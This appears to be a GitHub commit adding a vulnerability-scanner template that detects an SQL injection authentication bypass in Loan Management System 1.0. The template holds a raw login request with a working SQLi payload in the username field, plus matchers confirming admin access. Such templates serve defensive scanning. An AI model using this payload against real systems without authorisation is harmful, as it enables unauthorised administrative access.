Merge pull request #4870 from arafatansari/patch-16

Create loancms-sqli.yaml
patch-1
Prince Chaddha 2022-07-22 12:40:16 +05:30 committed by GitHub
commit 53ca3cf256
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 43 additions and 0 deletions

View File

@ -0,0 +1,43 @@
id: loancms-sqli
info:
name: Loan Management System 1.0 - SQLi Authentication Bypass
author: arafatansari
severity: high
description: |
Loan Management System Login page can be bypassed with a simple SQLi to the username parameter.
reference:
- https://www.exploit-db.com/exploits/50402
metadata:
verified: true
tags: loancms,sqli,auth-bypass,cms
requests:
- raw:
- |
POST /ajax.php?action=login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username=admin'+or+'1'%3D'1'%23&password=nuclei
- |
GET /index.php?page=home HTTP/1.1
Host: {{Hostname}}
cookie-reuse: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'window.start_load'
- 'Welcome back Admin'
- 'Loan Management System'
condition: and
- type: word
part: body
words:
- 'login-form'
negative: true